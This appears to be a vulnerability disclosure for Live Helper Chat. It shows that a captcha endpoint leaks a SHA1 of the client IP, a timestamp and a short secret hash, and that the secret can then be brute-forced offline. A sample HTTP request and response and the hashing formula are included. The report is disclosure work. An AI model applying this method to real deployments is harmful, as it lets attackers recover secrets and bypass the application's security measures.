Description

The secrethash, which the application relies for multiple security measures, can be brute-forced. The hash is quite small, with only 10 characters of only hexadecimal, making 16^10 possilibities ( 1.099.511.627.776 ). The SHA1 of the secret can be obtained via a captcha string and brute-forced offline with an GPU.

Proof of Concept

1. Get an Captcha String

Request

GET /index.php/captcha/captchastring/(timets)/1648529685 HTTP/1.1
Host: demo.livehelperchat.com
Cookie: lhc_vid=eb9bc0c044919538c5b1; PHPSESSID=qj7rpqcpcaipvphrals402aq7k
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 29 Mar 2022 04:54:53 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.4.27
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, API-Key, Authorization
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Last-Modified: Tue, 29 Mar 2022 12:54:53 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 53

{"result":"d04f714721f034d3abaccbb0ee755e31dac8fc2b"}

The result is equal to :

$hash = sha1(erLhcoreClassIPDetect::getIP().$Params['user_parameters']['timets'].erConfigClassLhConfig::getInstance()->getSetting( 'site', 'secrethash' ));

All the sha1() function's inputs are known to the attacker, but the secrethash. With this SHA1 it's possible to brute force the secrethash using hashcat for example. I didn't start a PoC to prove it's feasible to not waste computional power, but I have a 2060 RTX and did some calculations and it could crack within a week or so.

Impact

An attacker could crack the secrethash and use it to bypass security measures.